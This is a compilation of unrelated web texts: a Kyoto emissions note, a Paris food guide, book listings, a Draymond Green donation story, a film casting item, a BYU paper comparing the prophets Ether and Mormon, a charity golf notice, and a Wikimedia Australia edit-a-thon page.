We know that Canada eventually ratified the Kyoto Protocol in December 2002. We also know that the challenge of reducing Canada's greenhouse gas emissions by 6% of 1990 levels by 2012 has been made substantially more difficult by this inconvenient truth: In 2007, Canada's greenhouse gas emissions were 26.2% above 1990 levels and 33.8% above the Kyoto target for 2012, according to Environment Canada.
Hopefully the Canadian delegation in Copenhagen will negotiate another climate change agreement with this recent history in mind. Many of the issues and arguments surrounding climate change negotiations in 1997 remain the same today. Perhaps we can learn from past efforts to make better choices for the future.


Because Paris apart from the city of romance, love and fashion is at the same time the paradise of foodies. So if you are planning a trip to Paris, take a look in my post about the 5 cool things to do in Paris and keep in mind that trying out some of the classic Parisian flavors is just as important as visiting the city's major attractions.
I do not know if there is a person who does not like croissants. But even if there is one, in Paris he will change his mind. It is crispy with a beautiful golden color and fluffy, with intense buttery flavor. It does not matter if you eat it plainly, with chocolate, jam or ham, because in all ways it is wonderful.
Hot chocolate in Paris is identified with one and only café. Angelina. Angelina is located on 226 Rue de Rivoli, just a few meters from the Louvre Museum. After your visit to the museum, take a stroll from this beautiful café to enjoy the thickiest and creamiest hot chocolate you've ever enjoyed!
There is no café in Paris that does not have the croque-monsieur on the menu. If you are looking for something delicious to snack, definitely try this warm and crisp sandwich with ham and cheese usually served with Béchamel sauce. You can also try the croque-madame, which is exactly the same with a fried egg at the top.
I never liked sweet crêpes, I want the crepe filled with ham, cheese and some salad. And so does the French. So when you come to Paris, do not order a crêpe with a nutella, but a savory one gallete.
And that's the time you are thinking, why to eat falafel in Paris? Well I totally understand you. There are only few times when I visit a place that I choose to eat something that comes from another cuisine. But there are times when you have to make an exception. So if you find yourself in Marais and want to take a break from the French flavors, falafel is the best choise you could make.
I do not think there is a dish so much identified with the French cuisine as a beef steak accompanied by french fries. Whether it is cooked rare, medium or well-done, I guarantee you that in Paris you will eat the best steaks ever!
There are few dishes that can be compared to the rich and full taste that swells your mouth when Bourguignon Beef is tasted. It is another classic French beef-based dish, which is cooked with red wine, onions, mushrooms and bacon.
In Paris I ate duck for the first time in my life. And I loved it! Try out either magret de canard, which is a juicy duck breast with a crispy skin or confit de canard, which is a tender duck leg cooked in its own fat.
Even if you have not been to Paris, you have certainly seen pictures of these little colorful sweets. Macarons are the best-selling biscuits in France, which come in different colors and flavors and literally melt in the mouth. Try out enough until you discover your favorite flavor.
Ok macarons are great, but nothing compares with a light, creamy éclair. It was first made in the late 19th century and is one of the most traditional French desserts. You will find them everywhere in the city with many interesting variations.


Very Good. The 13th Continuum: The Continuum Trilogy, Book 1 by Brody, Professor Jennifer, 2016-04-19. Trade paperback (US). Glued binding. 416 p. Contains: Illustrations, black & white. Continuum Trilogy, 1. Intended for a young adult/teenage audience.
Very Good. All proceeds benefit local libraries. Very slight shelf wear on paperback cover. One creased page corner. Pages are clean and unmarked and binding is tight. nl.


The Warriors star forward on why he donated $3.1 million to MSU athletics. By Joe Rexrode, DFP.
EAST LANSING – Draymond Green's love for Michigan State goes back to childhood and watching his aunt Annette Babers star for the Michigan State women's basketball team.
It continued as a grade-school kid cheering on fellow Saginaw native Jason Richardson as he helped Tom Izzo's Spartans win the 2000 national championship. It became personal through four seasons playing for Izzo – picking up three Big Ten titles, two Final Four appearances and one Big Ten Player of the Year nod along the way – and Green has remained tightly connected with the program amid his rise to NBA champion.
He expressed those feelings Thursday in zeroes – on a $3.1 million check to MSU athletics in support of the men's basketball program – and with his strongest words yet about what MSU did for him. He left in 2012 as a second-round pick of the Golden State Warriors and was back Thursday as an NBA champion with a recently signed five-year, $82 million contract.
"I was pretty heavy when I got here and not expected to be a pro or doing what I'm doing today," Green said at a Breslin Center news conference with Izzo, MSU President Lou Anna K. Simon and MSU athletic director Mark Hollis, with the current MSU basketball team and many others on hand. "So can I come in here and take credit for that, or do I give the credit where it's rightfully due, which is this university? And if so, how do I show my thanks? That was just a small way of me saying thank you.
More: Draymond Green had Tom Izzo "speechless"
Johnson also announced a $1 million donation to the MSU athletic department in 2011. Former MSU and NFL offensive lineman Flozell Adams gave $1.5 million to the Spartan Stadium project in 2014. And former MSU and NBA guard Steve Smith donated $2.5 million in 1997 toward the construction of the Clara Bell Smith academic center, named after his late mother.
Those gifts are part of $22 million given all-time to the school by more than 2,400 former MSU athletes. The Green donation – which Simon called "an extraordinary gift – is part of an ongoing fund-raising campaign at MSU with a total goal of $262 million for athletics.
Green's money will be divvied up, with $1 million going to the Draymond Green Strength and Conditioning Center at the Jack Breslin Student Events Center, an addition with an undetermined final cost and completion date, still new enough that Izzo hasn't seen the drawn-up plans yet. It will include a hall of history and be a "grand entrance," Hollis said, to Breslin.
The other $2.1 million will fund an endowment for the program to help pay for scholarships. Green said the academic portion was important to him. He also said he wanted to do this in time for a huge recruiting weekend that includes Saturday's MSU-Oregon football game.
Contact Joe Rexrode: jrexrode@freepress.com. Follow him on Twitter @joerexrode. Check out his MSU blog at freep.com/heyjoe.
Download our new Spartans Xtra app for free on Apple and Android devices!


EXCLUSIVE: Lotus Entertainment has set Christine Boylan to adapt Painkiller Jane, Jimmy Palmiotti and Joe Quesada's iconic comic series that has Jessica Chastain attached to star and produce along with Solipsist Films' Stephen L'Heureux and Kelly Carmichael, latter of whom is Chastain's partner at 375 Pictures. Lenny Beckerman will produce for Lotus.
Chastain will play Jane Vasko, a New York City street cop who gets recruited by the FBI to infiltrate a major NYC drug and human trafficking ring. In a near-death experience, Jane develops exceptional regenerative abilities that give her a unique indestructible advantage. With nothing to live for and no way to die, Painkiller Jane becomes an unstoppable force of nature seeking revenge to those who destroyed her life as she leaves a path of death and destruction in her wake.
Boylan's credits include Punisher, Hellblazer and Once Upon a Time and WME reps her. Graphic novelist Palmiotti has penned volumes of Deadpool, Jonah Hex, Punisher and is currently writing Harley Quinn for DC Comics. Monilith, based on his graphic novel, is set up at Lionsgate.


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Book of Mormon Central / Archive / Ether and Mormon: Parallel Prophets of Warning and Witness
Ether and Mormon: Parallel Prophets of Warning and Witness
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Title Ether and Mormon: Parallel Prophets of Warning and Witness
Authors LeBaron, E. Dale
Editor Nyman, Monte S., and Charles D. Tate, Jr.
Book Title The Book of Mormon: Fourth Nephi Through Moroni, From Zion to Destruction
Series Volume 9
Publisher Religious Studies Center, Brigham Young University
City Provo, UT
Keywords Destruction; Diversity; Ether (Prophet); Mormon (Prophet); Prophecy; Prophet; Recordkeeping
URL https://rsc.byu.edu/book-mormon-fourth-nephi-through-moroni-zion-destruction/ether-mormon-parallel-prophets-warning
Show Full Text
E. Dale LeBaron
E. Dale LeBaron was an associate professor of Church history and doctrine at Brigham Young University when this was published.
The Book of Mormon is a record of two fallen nations. Both the Jaredites and the Nephites achieved marvelous heights spiritually and temporally, but then fell to spiritual depths and eventual destruction. The prophet Nephi testifies that God does not destroy a chosen people "save it were foretold them by the prophets of the Lord" (2 Nephi 25:9). The destructions of the Jaredites and Nephites were foretold by prophets. Both Ether (a Jaredite prophet) and Mormon (a Nephite prophet) filled their divine appointment by warning their respective people, witnessing their destruction, and documenting the fulfillment of rejected prophecies.
The purpose of this paper is to show the similarities and differences of these two prophets and ministries. Ether and Mormon were different in their backgrounds and situations, and similar in their missions and convictions. How different they might have been in personalities cannot be fully determined from the present record because in its edited form it lacks much of the detail of their lives. However, since the gospel of Jesus Christ is based upon eternal principles and not personalities, the similarities are particularly significant. To recognize a similarity is often to recognize an eternal principle. The differences between Ether and Mormon show how eternal truths can be manifest in differing circumstances, making the Book of Mormon eternally and individually significant to all who read it. This all illustrates how the Lord can use a diversity of people to bring about a unity with him by accepting his prophets and the eternal principles which he reveals through them.
Differences between Ether and Mormon
Ether and Mormon came from vastly different family and social backgrounds. Ether was a direct descendant of Jared and was the last in a long line of royalty. His grandfather, Moron, was overthrown as king of the Jaredites and spent many of his days in captivity; and his father, Coriantor, spent all his days as a political prisoner (Ether 11:23). We do not know whether Ether's father was righteous, but the record does state that Ether's grandfather, Moron, and the three previous kings were wicked. We also know that Ether lived during the reign of Coriantumr, the last Jaredite king.
The prophet Mormon was a "pure descendant of Lehi" (3 Nephi 5:20), and his name means "more good" (Teachings of the Prophet Joseph Smith 299–300; hereafter TPJS). He was named after his father and also after the land where Alma established the Church (Mormon 1:5; 3 Nephi 5:12), which suggests a spiritual commitment on the part of Mormon's parents. There is no indication that Mormon's family had either wealth or station.
Ether was deprived of social status whereas Mormon was granted it by the Nephites. Ether, the heir apparent to the Jaredite throne, was rejected by the people in power, and they even tried to kill him. The fact that Ether was the grandson of a deposed king and that he was making accusations against king Coriantumr must have created a strong bias against him. Because both his person and his message were unwelcome in Coriantumr's court, Ether had to flee for his life (Ether 13:20–22). He lived without influence among the people rather than as a king in a castle. In fact, he was considered to be an enemy, and lived as a recluse in a cave. He warned the people, observed the war by night, and recorded the tragic events (Ether 13:13–14).
By contrast, Mormon was elevated to perhaps the highest position of power and responsibility in Nephite society—that of commander over their armies. The Nephites gave him this honor twice. Even though Mormon warned the people they had to repent, they still considered him a hero, not an enemy. He lived at the center of Nephite political life, not as a recluse.
Such differences between Ether and Mormon illustrate how the Lord works through a diversity of people. Because different people may be inspired and impressed by different things, through diversity in the prophets, some messages may touch the hearts and minds of some readers whereas another's writings may impact others. What is critical, of course, is for everyone to recognize the Lord's divine message and His eternal voice. He said: "Mine elect hear my voice and harden not their hearts" (D&C 29:7). Ether and Mormon both heard the Lord's voice, which brought similarities into their very different lives.
Similarities between Ether and Mormon
1. The timing of their mortal mission—a final witness. The birth of a prophet comes according to the Lord's timetable. Elder Spencer W. Kimball said: "When clouds of error need dissipating and spiritual darkness needs penetrating and heavens need opening, a little infant is born" ("A Prophet is Born" 426–27). Both Ether and Mormon entered the world after their societies had fallen to unprecedented lows from unparalleled heights. Their missions included being final witnesses and giving final warnings to their people.
The Jaredite civilization had reached its temporal apex prior to Ether's birth. According to chapter 10 of Ether, the Jaredites became a vast population of people who were "exceedingly industrious." The record states that there "never could be a people more blessed than were they, and more prospered by the hand of the Lord. And they were in a land that was choice above all lands, for the Lord had spoken it" (Ether 10:21–28; see also Ludlow 323).
Yet in these times of great prosperity there was wickedness and war, and the Lord sent many prophets to call the people to repentance (Ether 11:1–6, 12–13, 20–22). However, they rejected the prophets and killed them. This was followed by "a great destruction, such an one as never had been known upon the face of the earth" (v. 7) and a warning that, "except they should repent the Lord God would execute judgment against them to their utter destruction; and the Lord God would send or bring forth another people to possess the land" (vv. 20–21). Still the people rejected all the words of the prophets because of their secret societies and wicked abominations (Ether 11:22). It was into this situation that the prophet Ether was born.
Mormon was also born in a time of spiritual decadence. After nearly two centuries of celestial peace and righteousness among the Nephites, that came about from the Savior's post-resurrection ministry among them, the people had turned from the glorious gospel light to evil and darkness. At the time of Mormon's birth, they had slipped into self-indulgence, superstitions, and secret combinations. They sought sorceries, witchcrafts, and magic instead of their God and "the power of the evil one was wrought upon all the face of the land" (Mormon 1:19).
Thus, both Ether and Mormon filled their mortal missions at most difficult and demanding times when their societies were disintegrating, destroying themselves spiritually and temporally.
2. A divine calling and spiritual preparation. The Prophet Joseph Smith taught that "every man who has a calling to minister to the inhabitants of the world was ordained to that very purpose" in his premortal existence (TPJS 365). Along with being foreordained, Ether and Mormon received careful preparation for their divine callings as prophets and seers.
Although the Book of Mormon gives little information about Ether's life prior to his call as a prophet, we can be certain that he was spiritually prepared for his calling. The record states: "Ether was a prophet of the Lord; wherefore Ether came forth in the days of Coriantumr, and began to prophesy unto the people" (Ether 12:2). Ether was blessed with the godly powers of seership. He saw from the beginning to the end of the world, including the ministry of Christ. He prophesied of the last days, the rebuilding of old Jerusalem, the building of the New Jerusalem, the return of the city of Enoch, and the ushering in of the millennial era (Ether 13:2–12). Of his prophetic powers, Elder Neal A. Maxwell has said the following:
Ether is a classic example of a prophet who devoted his whole life to the cause of the Savior. . . . Because his righteousness removed the restraints that otherwise hold each of us back, Ether actually saw high points of the future—centuries before these were to occur. . . . Other things Ether saw were simply too "great and marvelous" for Moroni to record (Ether 13:13). How marvelous these must have been—in view of the great things Moroni was able to record! (6–7)
Like Ether, Mormon devoted his life to service of the Savior and was prepared spiritually for his divine calling. Although Nephite society had sunk into spiritual quicksand, he exercised the faith and courage to build on the Rock of Christ. From that foundation, Mormon excelled in ways rarely equalled in history as a military leader, an editor-historian, and as a prophet.
Few prophets have received their divine appointment at such a young age. When he was ten years old Mormon was given a charge by Ammaron, who had kept the Nephite records for the previous fifteen years. Just as Ammaron was "constrained by the Holy Ghost" to hide up all the sacred records (4 Nephi 1:48), he must have also been constrained by that Spirit in selecting a ten-year-old boy to have responsibility for these records at this most critical time in Nephite history. Ammaron was impressed that Mormon was "a sober child, and . . . quick to observe." He instructed Mormon to go get the plates in some 14 years time (Mormon 1:2–4).
At the age of 15 years, Mormon "was visited of the Lord, and tasted and knew of the goodness of Jesus" (Mormon 1:15). Surely this heavenly visitation must have been one of the greatest experiences of Mormon's life and a spiritual anchor to his soul. In his ministry, Mormon also seems to have been given the power and authority of an apostle of Christ. While editing the Nephite records, he identified himself as "a disciple of Jesus Christ, the Son of God. I have been called of him to declare his word among His people that they might have everlasting life" (3 Nephi 5:13). The twelve disciples chosen by Jesus as he ministered to the Nephites were ordained apostles according to the Prophet Joseph Smith (History of the Church4:538). Mormon's designation of himself as a disciple called of Jesus Christ strongly supports this thesis (Moroni 2:2).
From his early years, Mormon must have been an impressive young man spiritually, physically, socially, and mentally. Mormon, who was now large in stature, was selected to be the commander-in-chief of all the Nephite armies in his sixteenth year (Mormon 2:1). This began one of the greatest military careers in history, stretching over the rest of his life, a period of 58 years. Of this, Elder Sterling W. Sill has said:
If you think it an inspiration that a 16 year old boy could win the leadership of a great national army, what would you think of a man between the ages of 65 and 74 who was still the best man among his entire people for this top position of leadership, and in those days the general marched at the head and not in the rear of his troops (Mormon 6:11). (Sill 248–49, 252–54)
Although Ether and Mormon differed in their backgrounds, circumstances, and personalities, they were both prophets. They were both called and schooled by the Lord. The Lord's influence was manifest in their lives, spiritually and temporally.
3. Writer, abridger, editor, and historian. From the beginning the Lord appointed some of His servants to "write by the spirit of inspiration" so a record could be kept for the blessing of mankind (Moses 6:4–9). Because many prophets have carried out this task, we are blessed with a rich treasure of scriptures. From the voluminous records kept by the Jaredites and Nephites, Ether and Mormon abridged the entire histories of their people from the time the Lord brought them to the promised land until their final destruction (Ether 1:6; W of M 1:3, 9). Although Ether and Mormon were blessed with the godly power of seership, their individual personalities and backgrounds undoubtedly impacted their records.
Although Ether's abridgment of the Jaredite history was later abridged by Moroni, some of Ether's background and circumstance are reflected in the Jaredite record. Perhaps because his grandfather and father were dethroned monarchs who spent much of their lives in prison, the record draws particular attention to the imprisonment of deposed royalty (Ether 7:7; 8:3; 10:14, 30; 11:18). It suggests strong feelings about abusive and corrupt rulers, and frequently focuses on kings being rebuked by prophets because of their wickedness (Ether 7:23; 9:28; 11:1, 12, 20). Surely, Ether saw much political corruption, war, and violence.
Mormon, who spent most of his life involved with warfare, focused on war throughout most of his writings. He devotes 20 chapters (Alma 43–62) detailing the Nephite-Lamanite battles fought by Captain Moroni. He gave Captain Moroni one of the greatest tributes of any person in Nephite history: "He was a man who was firm in the faith of Christ. . . . If all men had been, and were, and ever would be, like unto Moroni, behold, the very powers of hell would have been shaken forever" (Alma 48:11–17). It is also evident that the Book of Mormon was prepared by a knowledgeable military strategist (Hamblin 241–55).
Mormon edited the materials from Lehi through 4 Nephi, periodically writing editorial comments such as Helaman 12. He also wrote the Words of Mormon. Mormon chapters 1–7 is an abridgment of a larger record he had written on the large plates of Nephi (Mormon 2:18). From his letters included in the record by Moroni (Moroni 7–9), we can see the power of revelation which rested upon Mormon and the clarity with which he expounded doctrine, such as baptism of little children, translated beings, and faith, hope and charity. Mormon's great faith and hope and charity are evident in his final message, directed to the posterity of those who had destroyed his people (Mormon 7).
As an editor, Mormon selected material, wrote, and drew conclusions that would bring people to Christ (Hardy 15; Tvedtnes 31). He had a constant vision before him of those who would receive this record in the last days. It was to us that he was writing, for he said:
I write unto you, Gentiles, and also unto you, house of Israel . . . Yea, behold, I write unto all the ends of the earth, yea, unto you, twelve tribes of Israel . . . And I write also unto the remnant of this people . . . And these things doth the Spirit manifest unto me, therefore I write unto you all. (Mormon 3:17–20)
President Ezra Taft Benson has said the following:
The Book of Mormon was written for us today. God is the author of the book. . . . Mormon, the ancient prophet after whom the book is named, abridged centuries of records. God, who knows the end from the beginning, told him what to include in his abridgment that we would need for our day. (63)
4. A warning voice. As previously noted, the Lord will always send prophets to warn his covenant children before he allows them to destroy themselves (2 Nephi 25:9). Both Ether and Mormon courageously testified of the people's wickedness and warned of their pending destruction if they did not repent. Ether's dedication to his responsibility is described as follows: "He could not be restrained because of the Spirit of the Lord which was in him. For he did cry from the morning even until the going down of the sun, exhorting the people to believe in God unto repentance lest they should be destroyed" (Ether 12:2–3). In the second year of Ether's ministry, the Lord commanded him to deliver a final warning to king Coriantumr face to face:
The word of the Lord came to Ether, that he should go and prophesy unto Coriantumr that, if he would repent, and all his household, the Lord would give unto him his kingdom and spare the people—Otherwise they should be destroyed, and all his household save it were himself. And he should only live to see the fulfilling of the prophecies which had been spoken concerning another people receiving the land for their inheritance; and Coriantumr should receive a burial by them; and every soul should be destroyed save it were Coriantumr. (Ether 13:20–21)
The Lord's final plea and opportunity for the king and his people to be spared was not only rejected by them, but they sought to kill Ether, and he made a hasty retreat to his cave.
Early in Mormon's life, the Lord forbade him to preach to the Nephites because they had willfully rebelled and hardened their hearts (Mormon 1:16–17). However, over three decades later, the Lord commanded him to give the Nephite people a final warning and plea. They were told to repent, be baptized, and build up the Church, and the Lord would spare them (3:2). However, his missionary efforts were in vain and the people hardened their hearts against the Lord. Soon thereafter the Lord assured Mormon that the Nephites "shall be cut off from the face of the earth" (vv. 13–15).
The Lord gives prophets an eternal perspective and a "knowledge that the course they are pursuing is according to the will of God"; otherwise, they would "grow weary in their minds and faint" (Lectures on Faith 6:4). Mormon wrote to Moroni:
And now, my beloved son, notwithstanding their hardness, let us labor diligently; for if we should cease to labor, we should be brought under condemnation; for we have a labor to perform whilst in this tabernacle of clay, that we may conquer the enemy of all righteousness, and rest our souls in the kingdom of God. (Moroni 9:6)
Both Mormon and Ether persevered in their ministry regardless of how the people responded.
5. A witness to prophecies fulfilled. It is an awesome responsibility to prophesy in the name of the Lord, but for Ether and Mormon to prophesy regarding the pending destructions to come to their own people if they did not repent was even more so. And they witnessed the fulfillment of what they prophesied. This, too, came with their callings. They were special witnesses that every word had been fulfilled.
A vivid description of the total collapse of the Jaredite civilization is reflected in these words:
The Spirit of the Lord had ceased striving with them, and Satan had full power over the hearts of the people; for they were given up unto the hardness of their hearts, and the blindness of their minds that they might be destroyed. . . . They were drunken with anger, even as a man who is drunken with wine. (Ether 15:19, 21)
The final struggle between Coriantumr and his archenemy Shiz illustrates the ultimate tragedy of a self-destructing society. Driven by revenge and vengeance towards Coriantumr, Shiz overthrew many cities and "he did slay both women and children, and he did burn the cities" (Ether 14:17). This scorched-earth policy created a dreaded fear among the people, who cried: "Who can stand before the army of Shiz? Behold, he sweepeth the earth before him!" (v. 18).
The Jaredite war of extinction may have been the bloodiest war ever fought on the American continents (Ludlow 327–28). Even before the final battle, king Coriantumr had lost two million "mighty men, and also their wives and their children" (Ether 15:2), and this represents only one side of the conflict. In preparation for this final battle the two sides spent four years gathering "all who were upon the face of the land" so that every man, woman and child were on one side of the other, determined to fight to the end (vv. 14–15). And they fought to the end.
As with the Jaredites, the Nephites had fallen to such a spiritual low that they were "without principle, and past feeling" (Moroni 9:20). Hence, "the day of grace was past with them both temporally and spiritually" (Mormon 2:13–15).
When the Nephites began an offensive warfare, Mormon refused to lead them. Thirteen years later, at age 64, he repented of his oath and agreed to command their armies once again because the Nephites "looked upon me as though I could deliver them from their afflictions" (Mormon 5:1–2). However, because of their continued wickedness, he knew what the future held for them.
The Lamanites now began a scorched-earth policy of warfare, as Shiz had among the Jaredites. As the Lamanite army moved forward, they burned Nephite cities and killed the people who could not escape. Mormon was sickened by the "awful scene of blood and carnage" which was before his eyes (Mormon 5:5–8), and chose to spare us a graphic description of the carnage he witnessed. He wrote that some things were "impossible for the tongue to describe," for "there never had been so great wickedness among all the children of Lehi" (4:11–12). He does tell that Lamanites offered captive Nephite women and children as human sacrifices to Lamanite idol gods (v. 14), and fed them the flesh of their husbands or fathers as their rations (Moroni 9:8). But the Nephites were doing worse things as they raped the daughters of the Lamanites, tortured and murdered them, and then ate their flesh like wild beasts. He concludes: "O the depravity of my people! They are without order and without mercy. . . . They have become strong in their perversion. . . . They are without principle, and past feeling" (vv. 18–20).
The Nephites, as the Jaredites before them, arranged a period of time to gather all the people together for one final battle. Their battle site was also the same—a hill named Ramah by the Jaredites and Cumorah by the Nephites (Ether 15:11; Mormon 6:2).
After hiding the records in Cumorah Mormon joined his people as the vast armies of the Lamanites marched towards them. The Nephites experienced "that awful fear of death which fills the breasts of all the wicked" (Mormon 6:7). Mormon then records that 230,000 of his people died in senseless slaughter.
6. The record is completed. It is important for the scriptures to be complete and accurate. The Savior taught this to the Nephites by having them correct their record to testify that every prophecy given by Samuel had been fulfilled (3 Nephi 23:6–13). As the fighting ended and the destruction was finished, both Ether and Mormon completed their records as witnesses that every word of the Lord had been fulfilled. This also concluded the mortal mission of both prophets.
Ether observed and recorded the final scenes of extermination which left only two Jaredite survivors: Coriantumr and himself. His last recorded directive from the Lord was to "go forth," and he "beheld that the words of the Lord had all been fulfilled; and he finished his record" (Ether 15:33). He then hid the record so the people of Limhi would find it. We are left to wonder if there was any contact or communication between Ether and Coriantumr at this point. The record does confirm the fulfillment of the final part of the Lord's promise to Coriantumr, in that he was found by the people of Zarahemla and lived with them for "nine moons" (Omni 1:21).
As with the Jaredites, the Nephites were destroyed as a people (Mormon 6:15). Mormon completed his record and testimony of the events which he witnessed. He and his son Moroni were among 24 Nephite survivors. A heart-wrenching outpouring of deep sadness is recorded by Mormon as he views the lifeless bodies of his people strewn across the bloody landscape of Cumorah:
O ye fair ones, how could ye have departed from the ways of the Lord! O ye fair ones, how could ye have rejected that Jesus, who stood with open arms to receive you! Behold, if ye had not done this, ye would not have fallen. But behold, ye are fallen, and I mourn your loss. O ye fair sons and daughters, ye fathers and mothers, ye husbands and wives, ye fair ones, how is it that ye could have fallen! But behold, ye are gone, and my sorrows cannot bring your return. (Mormon 6:17–20)
We do not know how long Mormon lived after the final battle, but Moroni records that his father was killed by the Lamanites. Moroni, who was given the keys to the Book of Mormon (D&C 27:5), was left to finish the record and bury it in Cumorah. In the end, he, like Ether, faced a future alone in the hands of the Lord (Mormon 8:1–5; Moroni 10:34).
7. Well done, thou good and faithful servants. Because of their faithfulness in giving their lives to Christ, both Ether and Mormon received the assurance of an eternal reward. Ether's final words on the plates reflect his complete trust in and love for the Lord, when he writes: "Whether the Lord will that I be translated, or that I suffer the will of the Lord in the flesh, it mattereth not, if it so be that I am saved in the kingdom of God" (Ether 15:34). Elder Neal A. Maxwell has stated that "this very special prophet might have been translated" (9).
As Mormon reflected upon a life fraught with spiritual and physical destruction, he expressed contrasting feelings of pain for his people, and feelings of joy for his promise of eternal life:
A continual scene of wickedness and abominations has been before mine eyes ever since I have been sufficient to behold the ways of man. And wo is me because of their wickedness; for my heart has been filled with sorrow because of their wickedness, all my days; nevertheless, I know that I shall be lifted up at the last day. (Mormon 2:18–19)
Thus, although Ether and Mormon were different people with diverse experiences, they were brought together through Christ.
The Book of Mormon was written by many prophets who had a variety of backgrounds, personalities, and experiences. The Jaredite and Nephite records were written or edited by two prophets—different people who in some ways seem like polar opposites. Clearly, the Lord can accomplish his purposes using all of his children, different as they may be. Surely these differences enhance and strengthen the Lord's work, for they demonstrate that the Lord's principles are eternal. The similarities between Ether and Mormon center on things that matter most: eternal principles of Jesus Christ.
Elder Marion G. Romney compared our day with that of the Jaredites and Nephites, and he sounded this warning to us:
Fifteen and a half centuries ago, because of their unrighteousness, the remnants of the Nephite race were in a death grapple upon this land with their brethren, the Lamanites. Among them stood the mighty prophet-leader Mormon. . . . They as well as the Jaredites, were wiped off this land. This was true notwithstanding the glorious promises made in the Book of Mormon. . . .
The world in which we live today is sick nigh unto death. The disease of which it suffers is not a new one. It is as old as history. Its name is unrighteousness. The cure for it is repentance. The Lord foresaw our present extremity long ago and prescribed the remedy. On November 1, 1831, he said:
"I the Lord, knowing the calamity which should come upon the inhabitants of the earth, called upon my servant Joseph Smith, Jun., and spake unto him from heaven, and gave him commandments; and also gave commandments to others, that they should proclaim these things unto the world" (D&C 1:17–18). (430)
Elder Romney's statement bears the subtle stamp of his personality. However, the Lord's eternal voice can also be heard, and his warning is consistent and unmistakable. President Kimball taught at the December 1973, Johannesburg, South Africa Stake Conference, "If we will just follow the Lord's prophets we will arrive at where they are going" (Author's personal note). Surely, that was the desire of Ether and Mormon, for all of their people—and for us.
Benson, Ezra Taft. "The Book of Mormon Is the Word of God." Ensign (May 1975) 5:63–65; also in Conference Report (Apr. 1975) 93–97.
Hamblin, William J. "Warfare in the Book of Mormon." In Rediscovering the Book of Mormon. Ed. John L. Sorenson and Melvin J. Thorne. Salt Lake City: Deseret Book, 1991. 241–55.
Hardy, Grant R. "Mormon as Editor." In Rediscovering the Book of Mormon. 15–28.
History of the Church. 7 vols. Salt Lake City: Deseret Book, 1980.
Kimball, Spencer W. "A Prophet Is Born." Improvement Era (June 1960) 63:426–27.
—. Johannesburg, South Africa Stake Conference (Dec. 1973). Recorded by author.
Lectures on Faith in Historical Perspective. Ed. Larry E. Dahl and Charles D. Tate Jr. Provo, UT: Religious Studies Center, Brigham Young Univ., 1990.
Ludlow, Daniel H. A Companion to Your Study of the Book of Mormon. Salt Lake City: Deseret Book, 1976.
Maxwell, Neal A. "Three Jaredites: Contrasting Contemporaries." Ensign(Aug. 1978) 8:6–7.
Romney, Marion G. "Hearken and Obey." Improvement Era (May 1950) 53:385–432.
Sill, Sterling W. The Upward Reach. Salt Lake City: Bookcraft, 1962.
Sorenson, John L. "Seasons of War, Seasons of Peace in the Book of Mormon." In Rediscovering the Book of Mormon. 249–55.
Teachings of the Prophet Joseph Smith. Comp. Joseph Fielding Smith. Salt Lake City: Deseret Book, 1976.
Tvedtnes, John A. "Mormon's Editorial Promises." In Rediscovering the Book of Mormon. Salt Lake City: Deseret Book, 1991. 29–31.
https://www.archive.bookofmormoncentral.org/sites/default/files/archive-files/pdf/lebaron/2015-12-10/13_e._dale_lebaron_ether_and_mormon_1995.pdf
The Book of Mormon: Fourth Nephi Through Moroni, From Zion to Destruction
Alive in Christ: The Salvation of Little Children
The Mission of Jesus Christ - Ether 3 and 4
"The Knowledge Hid Up Because of Unbelief"
The Jaredites - A Case Study in Following the Brethren
The "Author" and the "Finisher" of the Book of Mormon
The Plates of Ether and the Covenant of the Book of Mormon
Light in Our Vessels: Faith, Hope, and Charity
Preparing for the Judgment
Mormon and Moroni: Father and Son
Mormon, the Man and the Message
The Spirit of Christ: A Light Amidst the Darkness
Jaredite Zion Societies: Hope for a Better World
There Was No Contention
Gathering in the Last Days: Saved in Sheaves, Burned in Bundles
The Judgment Seat of Christ
Zion Zion Zion: Keys to Understanding Ether 13
Moroni, the Last of the Nephite Prophets
"Weak Things Made Strong"
Unity Through the Power of Charity
Moroni 9-10: Remember How Merciful the Lord Hath Been
Zion Gained and Lost: Fourth Nephi as the Quintessential Model
Jared and His Brother
Preach the Gospel to Every Creature
The Socio-Economics of Zion
LeBaron, E. Dale. "Ether and Mormon: Parallel Prophets of Warning and Witness." In The Book of Mormon: Fourth Nephi Through Moroni, From Zion to Destruction, edited by Monte S. Nyman and Charles D. Tate, Jr., 153-165. Provo, UT: Religious Studies Center, Brigham Young University, 1995.

redpajama_set_name: RedPajamaCommonCrawl


Registration and the Continental Breakfast will begin at 0700. The practice range will be available till 0745, with a shotgun start at 0800.
A luncheon buffet and awards ceremony is scheduled to begin at 1330.
All proceeds, Mulligan sales and the 50/50 raffle will be donated to the Marine Corps' SEMPER FI FUND.
The TOP 3 TEAMS will be awarded trophies and prizes. Additional prizes will be awarded for the "Longest Drive" and the "Closest to Pin." All participants will receive a gift bag.


text:
Projects & Partners
Special:Search
Revision as of 10:17, 20 September 2021 by Caddiebrain (talk | contribs)
Just 18 per cent of biographies on Wikipedia are about women. When it comes to female artists and creators, that number is even lower.
Wikimedia Australia has partnered with the National Gallery of Australia since 2020 as part of its Know My Name gender equity campaign, to enhance the understanding and appreciation of work by Australian artists who identify as women.
Each year in March, we have co-hosted a series of edit-a-thons with galleries and libraries around Australia on the weekend of International Women's day, also as part of Art+Feminism.
Coordinated by Caddie Brain and her team in each state, the first weekend in 2020 saw 125 (mostly first time editors) create 69 new articles about female creators. Across the 7 edit-a-thons, 757 references were added to Wikipedia, and participants edited 223 articles.
Our additional partners included:
Araluen Arts Centre, Alice Springs
Lawrence Wilson Art Gallery, University of Western Australia
National Gallery of Victoria
Parlour: Women, architecture and equity
Queensland Art Gallery Gallery of Modern Art
State Library New South Wales
University of Tasmania, School of Creative Arts and Media
Women's Art Register
Know My Name Edit-a-thon Sydney — 2020 March 7, Saturday
Know My Name Edit-a-thon Alice Springs — 2020 March 7, Saturday
Know My Name Edit-a-thon Perth — 2020 March 8, Sunday
Art and Feminism Edit-a-thon Melbourne — 2020 March 8, Sunday
Know My Name Edit-a-thon Canberra — 2020 March 8, Sunday
Art+Feminism Wikipedia Edit-a-thon Brisbane — 2020 March 8, Sunday
Know My Name Wikipedia Edit-a-thon Hobart — 2020 March 9, Monday
Art+Feminism Wikipedia Edit-a-thon — 2021 March 6, Saturday
Know My Name International Women's Day Edit-a-thon — 2021 March 6, Saturday
The Power & Privilege of Editing Wikipedia — 2021 December 9, Thursday
A panel about Wikipedia for the AAANZ Conference 2021 featuring Know My Name
Meet our Wikipedians
Dr Bunty Avieson - Sydney
